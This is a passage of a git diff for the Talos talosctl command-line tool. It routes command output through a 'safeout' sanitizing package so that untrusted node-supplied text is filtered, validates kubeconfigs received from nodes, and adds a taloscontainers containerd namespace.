safeout.Fprintf( w, pattern, node, fmt.Sprintf( "downgrade cancel success, cluster version %s", diff --git a/cmd/talosctl/cmd/talos/events.go b/cmd/talosctl/cmd/talos/events.go index 3cd022ce979..1c921d8b3a6 100644 --- a/cmd/talosctl/cmd/talos/events.go +++ b/cmd/talosctl/cmd/talos/events.go @@ -8,7 +8,6 @@ import ( "context" "errors" "fmt" - "os" "strings" "text/tabwriter" "time" @@ -16,6 +15,7 @@ import ( "github.com/siderolabs/gen/xslices" "github.com/spf13/cobra" + "github.com/siderolabs/talos/cmd/talosctl/pkg/talos/safeout" "github.com/siderolabs/talos/pkg/machinery/api/machine" "github.com/siderolabs/talos/pkg/machinery/client" "github.com/siderolabs/talos/pkg/machinery/client/multiplex" @@ -68,7 +68,7 @@ var eventsCmd = &cobra.Command{ }, ) - w := tabwriter.NewWriter(os.Stdout, 0, 0, 3, ' ', 0) + w := tabwriter.NewWriter(safeout.Stdout(), 0, 0, 3, ' ', 0) fmt.Fprintln(w, "NODE\tID\tEVENT\tACTOR\tSOURCE\tMESSAGE") const format = "%s\t%s\t%s\n%s\t%s\t%s\n" @@ -104,17 +104,17 @@ var eventsCmd = &cobra.Command{ eventArgs = append(eventArgs, msg.GetAction().String()) } case *machine.PhaseEvent: - eventArgs = []any{msg.GetPhase(), msg.GetAction().String()} + eventArgs = []any{safeout.Cell(msg.GetPhase()), msg.GetAction().String()} case *machine.TaskEvent: - eventArgs = []any{msg.GetTask(), msg.GetAction().String()} + eventArgs = []any{safeout.Cell(msg.GetTask()), msg.GetAction().String()} case *machine.ServiceStateEvent: - eventArgs = []any{msg.GetService(), fmt.Sprintf("%s: %s", msg.GetAction(), msg.GetMessage())} + eventArgs = []any{safeout.Cell(msg.GetService()), fmt.Sprintf("%s: %s", msg.GetAction(), safeout.Cell(msg.GetMessage()))} case *machine.ConfigLoadErrorEvent: - eventArgs = []any{"error", msg.GetError()} + eventArgs = []any{"error", safeout.Cell(msg.GetError())} case *machine.ConfigValidationErrorEvent: - eventArgs = []any{"error", msg.GetError()} + eventArgs = []any{"error", safeout.Cell(msg.GetError())} case *machine.AddressEvent: - eventArgs = []any{msg.GetHostname(), fmt.Sprintf("ADDRESSES: %s", strings.Join(msg.GetAddresses(), ","))} + eventArgs = []any{safeout.Cell(msg.GetHostname()), fmt.Sprintf("ADDRESSES: %s", safeout.Cell(strings.Join(msg.GetAddresses(), ",")))} case *machine.MachineStatusEvent: eventArgs = []any{ msg.GetStage().String(), @@ -124,7 +124,7 @@ var eventsCmd = &cobra.Command{ xslices.Map( msg.GetStatus().GetUnmetConditions(), func(c *machine.MachineStatusEvent_MachineStatus_UnmetCondition) string { - return c.Name + return safeout.Cell(c.Name) }, ), ), @@ -132,7 +132,7 @@ var eventsCmd = &cobra.Command{ } eventArgs = append([]any{resp.Node, event.ID, event.TypeURL, event.ActorID}, eventArgs...) - fmt.Fprintf(w, format, eventArgs...) + safeout.Fprintf(w, format, eventArgs...) if err := w.Flush(); err != nil { errs = errors.Join(errs, fmt.Errorf("error flushing output: %w", err)) diff --git a/cmd/talosctl/cmd/talos/get.go b/cmd/talosctl/cmd/talos/get.go index 55d157849c3..3a8fe6ba61a 100644 --- a/cmd/talosctl/cmd/talos/get.go +++ b/cmd/talosctl/cmd/talos/get.go @@ -8,6 +8,7 @@ import ( "context" "errors" "fmt" + "os" "github.com/cosi-project/runtime/pkg/resource" "github.com/cosi-project/runtime/pkg/resource/meta" @@ -70,7 +71,7 @@ func getResources(ctx context.Context, args []string, clientFactory *global.Clie return err } - out, err := output.NewWriter(getCmdFlags.output) + out, err := output.NewWriter(getCmdFlags.output, os.Stdout) //nolint:forbidigo // wrapped per format below if err != nil { return err } diff --git a/cmd/talosctl/cmd/talos/health.go b/cmd/talosctl/cmd/talos/health.go index fe89dcbdfdb..e01e05d0828 100644 --- a/cmd/talosctl/cmd/talos/health.go +++ b/cmd/talosctl/cmd/talos/health.go @@ -8,7 +8,6 @@ import ( "context" "fmt" "io" - "os" "slices" "time" @@ -17,6 +16,7 @@ import ( "google.golang.org/grpc/codes" "github.com/siderolabs/talos/cmd/talosctl/pkg/talos/global" + "github.com/siderolabs/talos/cmd/talosctl/pkg/talos/safeout" "github.com/siderolabs/talos/pkg/cluster" "github.com/siderolabs/talos/pkg/cluster/check" "github.com/siderolabs/talos/pkg/cluster/hydrophone" @@ -24,6 +24,7 @@ import ( "github.com/siderolabs/talos/pkg/machinery/client" "github.com/siderolabs/talos/pkg/machinery/config/machine" clusterres "github.com/siderolabs/talos/pkg/machinery/resources/cluster" + "github.com/siderolabs/talos/pkg/reporter" ) type clusterNodes struct { @@ -158,7 +159,12 @@ func healthOnClient(ctx context.Context, clientFactory *global.ClientFactory) er checkCtx, checkCtxCancel := context.WithTimeout(ctx, healthCmdFlags.clusterWaitTimeout) defer checkCtxCancel() - return check.Wait(checkCtx, &state, append(check.DefaultClusterChecks(), check.ExtraClusterChecks()...), check.StderrReporter()) + // the condition lines are assembled from node names, service states and API + // errors the nodes chose, and the reporter colorizes them and writes to the + // terminal itself, so the text is filtered on its way in. + rep := check.StderrReporter(reporter.WithLineFilter(safeout.String)) + + return check.Wait(checkCtx, &state, append(check.DefaultClusterChecks(), check.ExtraClusterChecks()...), rep) } func healthOnServer(ctx context.Context, clientFactory *global.ClientFactory) error { @@ -195,7 +201,7 @@ func healthOnServer(ctx context.Context, clientFactory *global.ClientFactory) er return err } - fmt.Fprintln(os.Stderr, msg.GetMessage()) + fmt.Fprintln(safeout.Stderr(), msg.GetMessage()) } } diff --git a/cmd/talosctl/cmd/talos/image.go b/cmd/talosctl/cmd/talos/image.go index e80b348287c..38d9f7cad88 100644 --- a/cmd/talosctl/cmd/talos/image.go +++ b/cmd/talosctl/cmd/talos/image.go @@ -36,6 +36,7 @@ import ( "github.com/siderolabs/talos/cmd/talosctl/pkg/talos/artifacts" "github.com/siderolabs/talos/cmd/talosctl/pkg/talos/global" "github.com/siderolabs/talos/cmd/talosctl/pkg/talos/helpers" + "github.com/siderolabs/talos/cmd/talosctl/pkg/talos/safeout" "github.com/siderolabs/talos/internal/app/machined/pkg/system/services/registry" "github.com/siderolabs/talos/pkg/flags" "github.com/siderolabs/talos/pkg/imager/cache" @@ -68,6 +69,8 @@ func (flags imageCmdFlagsType) apiNamespace() (common.ContainerdNamespace, error return common.ContainerdNamespace_NS_CRI, nil case "system": return common.ContainerdNamespace_NS_SYSTEM, nil + case constants.TalosContainersContainerdNamespace: + return common.ContainerdNamespace_NS_TALOSCONTAINERS, nil default: return 0, fmt.Errorf("unsupported namespace %q", flags.namespace) } @@ -90,11 +93,32 @@ func (flags imageCmdFlagsType) containerdInstance() (*common.ContainerdInstance, Driver: common.ContainerDriver_CONTAINERD, Namespace: common.ContainerdNamespace_NS_SYSTEM, }, nil + case constants.TalosContainersContainerdNamespace: + return &common.ContainerdInstance{ + Driver: common.ContainerDriver_CONTAINERD, + Namespace: common.ContainerdNamespace_NS_TALOSCONTAINERS, + }, nil default: return nil, fmt.Errorf("unsupported namespace %q", flags.namespace) } } +// containerNamespace resolves the raw containerd namespace and driver used by the container-listing +// RPCs (containers, logs, stats, restart), which take the namespace as a string directly rather than +// through the ContainerdNamespace enum used by the image and debug commands. +func (flags imageCmdFlagsType) containerNamespace() (string, common.ContainerDriver, error) { + switch flags.namespace { + case "cri": + return constants.K8sContainerdNamespace, common.ContainerDriver_CRI, nil + case "system": + return constants.SystemContainerdNamespace, common.ContainerDriver_CONTAINERD, nil + case constants.TalosContainersContainerdNamespace: + return constants.TalosContainersContainerdNamespace, common.ContainerDriver_CONTAINERD, nil + default: + return "", 0, fmt.Errorf("namespace %q is not supported by this command", flags.namespace) + } +} + // imagesCmd represents the image command. var imageCmd = &cobra.Command{ Use: "image", @@ -141,7 +165,7 @@ func imageList(ctx context.Context) error { }, ) - w := tabwriter.NewWriter(os.Stdout, 0, 0, 3, ' ', 0) + w := tabwriter.NewWriter(safeout.Stdout(), 0, 0, 3, ' ', 0) headerWritten := false var errs error @@ -164,7 +188,7 @@ func imageList(ctx context.Context) error { fmt.Fprintln(w, "NODE\tIMAGE\tDIGEST\tSIZE\tLABELS\tCREATED") } - fmt.Fprintf( + safeout.Fprintf( w, "%s\t%s\t%s\t%s\t%s\t%s\n", resp.Node, resp.Payload.GetName(), @@ -194,7 +218,7 @@ func imageListLegacy(ctx context.Context, clientFactory *global.ClientFactory) e }, ) - w := tabwriter.NewWriter(os.Stdout, 0, 0, 3, ' ', 0) + w := tabwriter.NewWriter(safeout.Stdout(), 0, 0, 3, ' ', 0) fmt.Fprintln(w, "NODE\tIMAGE\tDIGEST\tSIZE\tCREATED") var errs error @@ -206,7 +230,7 @@ func imageListLegacy(ctx context.Context, clientFactory *global.ClientFactory) e continue } - fmt.Fprintf( + safeout.Fprintf( w, "%s\t%s\t%s\t%s\t%s\n", resp.Node, resp.Payload.Name, @@ -240,7 +264,7 @@ func imagePull(ctx context.Context, imageRef string) error { defer clientFactory.Close() //nolint:errcheck - rep := reporter.New() + rep := reporter.New(reporter.WithLineFilter(safeout.String)) containerdInstance, err := imageCmdFlags.containerdInstance() if err != nil { @@ -312,7 +336,7 @@ func imagePullInternal( var sb strings.Builder for node, imageName := range finishedPulls { - fmt.Fprintf(&sb, "%s: pulled image %s\n", node, imageName) + fmt.Fprintf(&sb, "%s: pulled image %s\n", node, safeout.String(imageName)) } rep.Report(reporter.Update{ @@ -541,16 +565,16 @@ var imageK8sBundleCmd = &cobra.Command{ }, ) - fmt.Printf("%s\n", images.Flannel) - fmt.Printf("%s\n", images.CoreDNS) - fmt.Printf("%s\n", images.Etcd) - fmt.Printf("%s\n", images.Pause) - fmt.Printf("%s\n", images.KubeAPIServer) - fmt.Printf("%s\n", images.KubeControllerManager) - fmt.Printf("%s\n", images.KubeScheduler) - fmt.Printf("%s\n", images.KubeProxy) - fmt.Printf("%s\n", images.Kubelet) - fmt.Printf("%s\n", images.KubeNetworkPolicies) + safeout.Printf("%s\n", images.Flannel) + safeout.Printf("%s\n", images.CoreDNS) + safeout.Printf("%s\n", images.Etcd) + safeout.Printf("%s\n", images.Pause) + safeout.Printf("%s\n", images.KubeAPIServer) + safeout.Printf("%s\n", images.KubeControllerManager) + safeout.Printf("%s\n", images.KubeScheduler) + safeout.Printf("%s\n", images.KubeProxy) + safeout.Printf("%s\n", images.Kubelet) + safeout.Printf("%s\n", images.KubeNetworkPolicies) return nil }, @@ -629,15 +653,15 @@ var imageTalosBundleCmd = &cobra.Command{ sources := images.ListSourcesFor(tag) if semTag.LT(talosLegacyInstallerMaximumVersion) { - fmt.Printf("%s\n", sources.Installer) + safeout.Printf("%s\n", sources.Installer) } - fmt.Printf("%s\n", sources.InstallerBase) - fmt.Printf("%s\n", sources.Imager) - fmt.Printf("%s\n", sources.Talos) - fmt.Printf("%s\n", sources.TalosctlAll) - fmt.Printf("%s\n", sources.Overlays) - fmt.Printf("%s\n", sources.Extensions) + safeout.Printf("%s\n", sources.InstallerBase) + safeout.Printf("%s\n", sources.Imager) + safeout.Printf("%s\n", sources.Talos) + safeout.Printf("%s\n", sources.TalosctlAll) + safeout.Printf("%s\n", sources.Overlays) + safeout.Printf("%s\n", sources.Extensions) digestedReferences := []string{} @@ -666,7 +690,7 @@ var imageTalosBundleCmd = &cobra.Command{ slices.Sort(digestedReferences) for _, ref := range slices.Compact(digestedReferences) { - fmt.Printf("%s\n", ref) + safeout.Printf("%s\n", ref) } return nil @@ -726,6 +750,7 @@ var imageIntegrationCmd = &cobra.Command{ imgs.Pause.String(), imgs.KubeNetworkPolicies.String(), "registry.k8s.io/conformance:v" + constants.DefaultKubernetesVersion, + "docker.io/alpine/socat:1.8.1.3", "docker.io/library/alpine:latest", "ghcr.io/siderolabs/talosctl:v1.13.5", "registry.k8s.io/kube-apiserver:v1.27.0", @@ -761,7 +786,7 @@ var imageIntegrationCmd = &cobra.Command{ imageNames = slices.Compact(imageNames) for _, img := range imageNames { - fmt.Println(img) + safeout.Println(img) } return nil @@ -1048,7 +1073,8 @@ var imageCacheCertGenCmdFlags struct { func init() { imageCmd.PersistentFlags().StringVar( &imageCmdFlags.namespace, "namespace", "cri", - "namespace to use: \"system\" (etcd and kubelet images), \"cri\" for all Kubernetes workloads, \"inmem\" for in-memory containerd instance", + "namespace to use: \"system\" (etcd and kubelet images), \"cri\" for all Kubernetes workloads, \"inmem\" for in-memory containerd instance, \""+ + constants.TalosContainersContainerdNamespace+"\" for containers declared via ContainerConfig", ) addCommand(imageCmd) diff --git a/cmd/talosctl/cmd/talos/inspect.go b/cmd/talosctl/cmd/talos/inspect.go index 29a6b01f133..e0c6f66b233 100644 --- a/cmd/talosctl/cmd/talos/inspect.go +++ b/cmd/talosctl/cmd/talos/inspect.go @@ -6,11 +6,10 @@ package talos import ( "fmt" - "os" "github.com/spf13/cobra" - "github.com/siderolabs/talos/pkg/cli" + "github.com/siderolabs/talos/cmd/talosctl/pkg/talos/safeout" "github.com/siderolabs/talos/pkg/machinery/formatters" ) @@ -58,10 +57,10 @@ to render the graph: return fmt.Errorf("error getting controller runtime dependencies: %s", err) } - cli.Warning("%s", err) + safeout.Warningf("%s", err) } - return formatters.RenderGraph(ctx, c, resp, os.Stdout, inspectDependenciesCmdFlags.withResources) + return formatters.RenderGraph(ctx, c, resp, safeout.Stdout(), inspectDependenciesCmdFlags.withResources) }, } diff --git a/cmd/talosctl/cmd/talos/kubeconfig.go b/cmd/talosctl/cmd/talos/kubeconfig.go index 520a3df0071..bfa65b3371c 100644 --- a/cmd/talosctl/cmd/talos/kubeconfig.go +++ b/cmd/talosctl/cmd/talos/kubeconfig.go @@ -16,9 +16,11 @@ import ( "github.com/mattn/go-isatty" "github.com/siderolabs/go-kubeconfig" "github.com/spf13/cobra" - "k8s.io/client-go/tools/clientcmd" + clientcmdapi "k8s.io/client-go/tools/clientcmd/api" "github.com/siderolabs/talos/cmd/talosctl/pkg/talos/helpers" + "github.com/siderolabs/talos/cmd/talosctl/pkg/talos/safeout" + taloskubeconfig "github.com/siderolabs/talos/pkg/kubeconfig" ) const stdoutOutput = "-" @@ -116,12 +118,20 @@ If merge flag is false and [local-path] is "-", config will be written to stdout return err } + // the kubeconfig comes from the node, so it is untrusted input: make sure it is a plain + // kubeconfig as generated by Talos before writing it out to the local filesystem. + config, err := taloskubeconfig.LoadAndValidate(data) + if err != nil { + return err + } + if kubeconfigFlags.merge { - return extractAndMerge(data, localPath) + return mergeKubeconfig(config, localPath) } if localPath == stdoutOutput { - _, err = os.Stdout.Write(data) + // a kubeconfig written for a program to read back. + _, err = os.Stdout.Write(data) //nolint:forbidigo return err } @@ -130,23 +140,18 @@ If merge flag is false and [local-path] is "-", config will be written to stdout }, } -func extractAndMerge(data []byte, localPath string) error { - config, err := clientcmd.Load(data) - if err != nil { - return err - } - +func mergeKubeconfig(config *clientcmdapi.Config, localPath string) error { merger, err := kubeconfig.Load(localPath) if err != nil { return err } - interactive := isatty.IsTerminal(os.Stdout.Fd()) + interactive := isatty.IsTerminal(os.Stdout.Fd()) //nolint:forbidigo // asking about the stream, not writing to it err = merger.Merge(config, kubeconfig.MergeOptions{ ActivateContext: true, ForceContextName: kubeconfigFlags.forceContextName, - OutputWriter: os.Stdout, + OutputWriter: os.Stdout, //nolint:forbidigo // a kubeconfig written for a program to read back ConflictHandler: func(component kubeconfig.ConfigComponent, name string) (kubeconfig.ConflictDecision, error) { if kubeconfigFlags.force { return kubeconfig.OverwriteDecision, nil @@ -170,7 +175,7 @@ func askOverwriteOrRename(prompt string) (kubeconfig.ConflictDecision, error) { reader := bufio.NewReader(os.Stdin) for { - fmt.Printf("%s [(r)ename/(o)verwrite]: ", prompt) + safeout.Printf("%s [(r)ename/(o)verwrite]: ", prompt) response, err := reader.ReadString('\n') if err != nil { diff --git a/cmd/talosctl/cmd/talos/list.go b/cmd/talosctl/cmd/talos/list.go index f622c016b04..d6ed952067a 100644 --- a/cmd/talosctl/cmd/talos/list.go +++ b/cmd/talosctl/cmd/talos/list.go @@ -18,6 +18,7 @@ import ( humanize "github.com/dustin/go-humanize" "github.com/spf13/cobra" + "github.com/siderolabs/talos/cmd/talosctl/pkg/talos/safeout" machineapi "github.com/siderolabs/talos/pkg/machinery/api/machine" "github.com/siderolabs/talos/pkg/machinery/client" "github.com/siderolabs/talos/pkg/machinery/client/multiplex" @@ -108,7 +109,7 @@ var lsCmd = &cobra.Command{ ) if !lsCmdFlags.long { - w := tabwriter.NewWriter(os.Stdout, 0, 0, 3, ' ', 0) + w := tabwriter.NewWriter(safeout.Stdout(), 0, 0, 3, ' ', 0) defer w.Flush() //nolint:errcheck var ( @@ -132,7 +133,7 @@ var lsCmd = &cobra.Command{ } if !multipleNodes { - fmt.Println(info.RelativeName) + safeout.Println(info.RelativeName) continue } @@ -143,7 +144,7 @@ var lsCmd = &cobra.Command{ headerWritten = true } - fmt.Fprintf( + safeout.Fprintf( w, "%s\t%s\n", resp.Node, info.RelativeName, @@ -153,7 +154,7 @@ var lsCmd = &cobra.Command{ return errs } - w := tabwriter.NewWriter(os.Stdout, 0, 0, 3, ' ', 0) + w := tabwriter.NewWriter(safeout.Stdout(), 0, 0, 3, ' ', 0) defer w.Flush() //nolint:errcheck var ( @@ -218,7 +219,7 @@ var lsCmd = &cobra.Command{ } } - fmt.Fprintf( + safeout.Fprintf( w, "%s\t%s\t%d\t%d\t%s\t%s\t%s\t%s\n", resp.Node, os.FileMode(info.Mode).String(), diff --git a/cmd/talosctl/cmd/talos/logs.go b/cmd/talosctl/cmd/talos/logs.go index ef31f33fb59..8e7dec0fe2e 100644 --- a/cmd/talosctl/cmd/talos/logs.go +++ b/cmd/talosctl/cmd/talos/logs.go @@ -11,13 +11,14 @@ import ( "fmt" "maps" "slices" + "strings" "github.com/siderolabs/gen/xslices" "github.com/spf13/cobra" "google.golang.org/grpc/codes" "github.com/siderolabs/talos/cmd/talosctl/pkg/talos/global" - "github.com/siderolabs/talos/pkg/machinery/api/common" + "github.com/siderolabs/talos/cmd/talosctl/pkg/talos/safeout" "github.com/siderolabs/talos/pkg/machinery/api/machine" "github.com/siderolabs/talos/pkg/machinery/client" "github.com/siderolabs/talos/pkg/machinery/client/multiplex" @@ -26,7 +27,7 @@ import ( var logsCmdFlags struct { global.InsecureFlags - kubernetesNamespaceFlag + containerNamespaceFlag follow bool tail int32 @@ -42,6 +43,10 @@ var logsCmd = &cobra.Command{ return nil, cobra.ShellCompDirectiveError | cobra.ShellCompDirectiveNoFileComp } + if logsCmdFlags.namespace == constants.TalosContainersContainerdNamespace { + return getTalosContainerLogs(cmd.Context(), &logsCmdFlags), cobra.ShellCompDirectiveNoFileComp + } + if logsCmdFlags.kubernetes { return getContainersFromNode(cmd.Context(), &logsCmdFlags), cobra.ShellCompDirectiveNoFileComp } @@ -62,17 +67,9 @@ var logsCmd = &cobra.Command{ defer clientFactory.Close() //nolint:errcheck - var ( - namespace string - driver common.ContainerDriver - ) - - if logsCmdFlags.kubernetes { - namespace = constants.K8sContainerdNamespace - driver = common.ContainerDriver_CRI - } else { - namespace = constants.SystemContainerdNamespace - driver = common.ContainerDriver_CONTAINERD + namespace, driver, err := logsCmdFlags.resolveContainerNamespace() + if err != nil { + return err } responseChan := multiplex.StreamingViaFactory( @@ -88,7 +85,7 @@ var logsCmd = &cobra.Command{ lineBuffers := map[string][]byte{} emit := func(node string, line []byte) error { - _, err := fmt.Printf("%s: %s\n", node, line) + _, err := safeout.Printf("%s: %s\n", node, line) return err } @@ -170,8 +167,32 @@ func getLogsContainers(ctx context.Context, flags any) []string { return result } +// getTalosContainerLogs suggests the containers declared via ContainerConfig which have logs. +// +// A container that has never started has no buffer, and so does not appear. +func getTalosContainerLogs(ctx context.Context, flags any) []string { + return stripTalosContainerLogPrefix(getLogsContainers(ctx, flags)) +} + +// stripTalosContainerLogPrefix keeps only the ids carrying the taloscontainers log prefix, with the +// prefix removed. +// +// The registered identifiers carry the namespace prefix, but the command takes the container name, so +// the prefix is stripped back off. +func stripTalosContainerLogPrefix(ids []string) []string { + var result []string + + for _, id := range ids { + if name, ok := strings.CutPrefix(id, constants.TalosContainersLogPrefix); ok { + result = append(result, name) + } + } + + return result +} + func init() { - logsCmd.Flags().BoolVarP(&logsCmdFlags.kubernetes, "kubernetes", "k", false, "use the k8s.io containerd namespace") + addContainerNamespaceFlags(logsCmd, &logsCmdFlags.containerNamespaceFlag) logsCmd.Flags().BoolVarP(&logsCmdFlags.follow, "follow", "f", false, "specify if the logs should be streamed") logsCmd.Flags().Int32VarP(&logsCmdFlags.tail, "tail", "", -1, "lines of log file to display (default is to show from the beginning)") diff --git a/cmd/talosctl/cmd/talos/memory.go b/cmd/talosctl/cmd/talos/memory.go index c20dd336be8..5bd25ee0bb7 100644 --- a/cmd/talosctl/cmd/talos/memory.go +++ b/cmd/talosctl/cmd/talos/memory.go @@ -8,13 +8,13 @@ import ( "context" "errors" "fmt" - "os" "text/tabwriter" "time" "github.com/spf13/cobra" "github.com/siderolabs/talos/cmd/talosctl/pkg/talos/global" + "github.com/siderolabs/talos/cmd/talosctl/pkg/talos/safeout" machineapi "github.com/siderolabs/talos/pkg/machinery/api/machine" "github.com/siderolabs/talos/pkg/machinery/client" "github.com/siderolabs/talos/pkg/machinery/client/multiplex" @@ -59,7 +59,7 @@ var memoryCmd = &cobra.Command{ } func renderBrief(responseChan <-chan multiplex.Response[*machineapi.MemoryResponse]) error { - w := tabwriter.NewWriter(os.Stdout, 0, 0, 3, ' ', 0) + w := tabwriter.NewWriter(safeout.Stdout(), 0, 0, 3, ' ', 0) fmt.Fprintln(w, "NODE\tTOTAL\tUSED\tFREE\tSHARED\tBUFFERS\tCACHE\tAVAILABLE") flushTimer := time.NewTimer(outputFlushInterval) @@ -81,7 +81,7 @@ func renderBrief(responseChan <-chan multiplex.Response[*machineapi.MemoryRespon } else { for _, msg := range resp.Payload.Messages { // Default to displaying output as MB - fmt.Fprintf( + safeout.Fprintf( w, "%s\t%d\t%d\t%d\t%d\t%d\t%d\t%d\n", resp.Node, msg.Meminfo.Memtotal/1024, @@ -116,55 +116,55 @@ func renderVerbose(responseChan <-chan multiplex.Response[*machineapi.MemoryResp // Dump as /proc/meminfo for _, msg := range resp.Payload.Messages { - fmt.Printf("%s: %s\n", "NODE", resp.Node) - fmt.Printf("%s: %d %s\n", "MemTotal", msg.Meminfo.Memtotal, "kB") - fmt.Printf("%s: %d %s\n", "MemFree", msg.Meminfo.Memfree, "kB") - fmt.Printf("%s: %d %s\n", "MemAvailable", msg.Meminfo.Memavailable, "kB") - fmt.Printf("%s: %d %s\n", "Buffers", msg.Meminfo.Buffers, "kB") - fmt.Printf("%s: %d %s\n", "Cached", msg.Meminfo.Cached, "kB") - fmt.Printf("%s: %d %s\n", "SwapCached", msg.Meminfo.Swapcached, "kB") - fmt.Printf("%s: %d %s\n", "Active", msg.Meminfo.Active, "kB") - fmt.Printf("%s: %d %s\n", "Inactive", msg.Meminfo.Inactive, "kB") - fmt.Printf("%s: %d %s\n", "ActiveAnon", msg.Meminfo.Activeanon, "kB") - fmt.Printf("%s: %d %s\n", "InactiveAnon", msg.Meminfo.Inactiveanon, "kB") - fmt.Printf("%s: %d %s\n", "ActiveFile", msg.Meminfo.Activefile, "kB") - fmt.Printf("%s: %d %s\n", "InactiveFile", msg.Meminfo.Inactivefile, "kB") - fmt.Printf("%s: %d %s\n", "Unevictable", msg.Meminfo.Unevictable, "kB") - fmt.Printf("%s: %d %s\n", "Mlocked", msg.Meminfo.Mlocked, "kB") - fmt.Printf("%s: %d %s\n", "SwapTotal", msg.Meminfo.Swaptotal, "kB") - fmt.Printf("%s: %d %s\n", "SwapFree", msg.Meminfo.Swapfree, "kB") - fmt.Printf("%s: %d %s\n", "Dirty", msg.Meminfo.Dirty, "kB") - fmt.Printf("%s: %d %s\n", "Writeback", msg.Meminfo.Writeback, "kB") - fmt.Printf("%s: %d %s\n", "AnonPages", msg.Meminfo.Anonpages, "kB") - fmt.Printf("%s: %d %s\n", "Mapped", msg.Meminfo.Mapped, "kB") - fmt.Printf("%s: %d %s\n", "Shmem", msg.Meminfo.Shmem, "kB") - fmt.Printf("%s: %d %s\n", "Slab", msg.Meminfo.Slab, "kB") - fmt.Printf("%s: %d %s\n", "SReclaimable", msg.Meminfo.Sreclaimable, "kB") - fmt.Printf("%s: %d %s\n", "SUnreclaim", msg.Meminfo.Sunreclaim, "kB") - fmt.Printf("%s: %d %s\n", "KernelStack", msg.Meminfo.Kernelstack, "kB") - fmt.Printf("%s: %d %s\n", "PageTables", msg.Meminfo.Pagetables, "kB") - fmt.Printf("%s: %d %s\n", "NFSUnstable", msg.Meminfo.Nfsunstable, "kB") - fmt.Printf("%s: %d %s\n", "Bounce", msg.Meminfo.Bounce, "kB") - fmt.Printf("%s: %d %s\n", "WritebackTmp", msg.Meminfo.Writebacktmp, "kB") - fmt.Printf("%s: %d %s\n", "CommitLimit", msg.Meminfo.Commitlimit, "kB") - fmt.Printf("%s: %d %s\n", "CommittedAS", msg.Meminfo.Committedas, "kB") - fmt.Printf("%s: %d %s\n", "VmallocTotal", msg.Meminfo.Vmalloctotal, "kB") - fmt.Printf("%s: %d %s\n", "VmallocUsed", msg.Meminfo.Vmallocused, "kB") - fmt.Printf("%s: %d %s\n", "VmallocChunk", msg.Meminfo.Vmallocchunk, "kB") - fmt.Printf("%s: %d %s\n", "HardwareCorrupted", msg.Meminfo.Hardwarecorrupted, "kB") - fmt.Printf("%s: %d %s\n", "AnonHugePages", msg.Meminfo.Anonhugepages, "kB") - fmt.Printf("%s: %d %s\n", "ShmemHugePages", msg.Meminfo.Shmemhugepages, "kB") - fmt.Printf("%s: %d %s\n", "ShmemPmdMapped", msg.Meminfo.Shmempmdmapped, "kB") - fmt.Printf("%s: %d %s\n", "CmaTotal", msg.Meminfo.Cmatotal, "kB") - fmt.Printf("%s: %d %s\n", "CmaFree", msg.Meminfo.Cmafree, "kB") - fmt.Printf("%s: %d\n", "HugePagesTotal", msg.Meminfo.Hugepagestotal) - fmt.Printf("%s: %d\n", "HugePagesFree", msg.Meminfo.Hugepagesfree) - fmt.Printf("%s: %d\n", "HugePagesRsvd", msg.Meminfo.Hugepagesrsvd) - fmt.Printf("%s: %d\n", "HugePagesSurp", msg.Meminfo.Hugepagessurp) - fmt.Printf("%s: %d %s\n", "Hugepagesize", msg.Meminfo.Hugepagesize, "kB") - fmt.Printf("%s: %d %s\n", "DirectMap4k", msg.Meminfo.Directmap4K, "kB") - fmt.Printf("%s: %d %s\n", "DirectMap2M", msg.Meminfo.Directmap2M, "kB") - fmt.Printf("%s: %d %s\n", "DirectMap1G", msg.Meminfo.Directmap1G, "kB") + safeout.Printf("%s: %s\n", "NODE", resp.Node) + safeout.Printf("%s: %d %s\n", "MemTotal", msg.Meminfo.Memtotal, "kB") + safeout.Printf("%s: %d %s\n", "MemFree", msg.Meminfo.Memfree, "kB") + safeout.Printf("%s: %d %s\n", "MemAvailable", msg.Meminfo.Memavailable, "kB") + safeout.Printf("%s: %d %s\n", "Buffers", msg.Meminfo.Buffers, "kB") + safeout.Printf("%s: %d %s\n", "Cached", msg.Meminfo.Cached, "kB") + safeout.Printf("%s: %d %s\n", "SwapCached", msg.Meminfo.Swapcached, "kB") + safeout.Printf("%s: %d %s\n", "Active", msg.Meminfo.Active, "kB") + safeout.Printf("%s: %d %s\n", "Inactive", msg.Meminfo.Inactive, "kB") + safeout.Printf("%s: %d %s\n", "ActiveAnon", msg.Meminfo.Activeanon, "kB") + safeout.Printf("%s: %d %s\n", "InactiveAnon", msg.Meminfo.Inactiveanon, "kB") + safeout.Printf("%s: %d %s\n", "ActiveFile", msg.Meminfo.Activefile, "kB") + safeout.Printf("%s: %d %s\n", "InactiveFile", msg.Meminfo.Inactivefile, "kB") + safeout.Printf("%s: %d %s\n", "Unevictable", msg.Meminfo.Unevictable, "kB") + safeout.Printf("%s: %d %s\n", "Mlocked", msg.Meminfo.Mlocked, "kB") + safeout.Printf("%s: %d %s\n", "SwapTotal", msg.Meminfo.Swaptotal, "kB") + safeout.Printf("%s: %d %s\n", "SwapFree", msg.Meminfo.Swapfree, "kB") + safeout.Printf("%s: %d %s\n", "Dirty", msg.Meminfo.Dirty, "kB") + safeout.Printf("%s: %d %s\n", "Writeback", msg.Meminfo.Writeback, "kB") + safeout.Printf("%s: %d %s\n", "AnonPages", msg.Meminfo.Anonpages, "kB") + safeout.Printf("%s: %d %s\n", "Mapped", msg.Meminfo.Mapped, "kB") + safeout.Printf("%s: %d %s\n", "Shmem", msg.Meminfo.Shmem, "kB") + safeout.Printf("%s: %d %s\n", "Slab", msg.Meminfo.Slab, "kB") + safeout.Printf("%s: %d %s\n", "SReclaimable", msg.Meminfo.Sreclaimable, "kB") + safeout.Printf("%s: %d %s\n", "SUnreclaim", msg.Meminfo.Sunreclaim, "kB") + safeout.Printf("%s: %d %s\n", "KernelStack", msg.Meminfo.Kernelstack, "kB") + safeout.Printf("%s: %d %s\n", "PageTables", msg.Meminfo.Pagetables, "kB") + safeout.Printf("%s: %d %s\n", "NFSUnstable", msg.Meminfo.Nfsunstable, "kB") + safeout.Printf("%s: %d %s\n", "Bounce", msg.Meminfo.Bounce, "kB") + safeout.Printf("%s: %d %s\n", "WritebackTmp", msg.Meminfo.Writebacktmp, "kB") + safeout.Printf("%s: %d %s\n", "CommitLimit", msg.Meminfo.Commitlimit, "kB") + safeout.Printf("%s: %d %s\n", "CommittedAS", msg.Meminfo.Committedas, "kB") + safeout.Printf("%s: %d %s\n", "VmallocTotal", msg.Meminfo.Vmalloctotal, "kB") + safeout.Printf("%s: %d %s\n", "VmallocUsed", msg.Meminfo.Vmallocused, 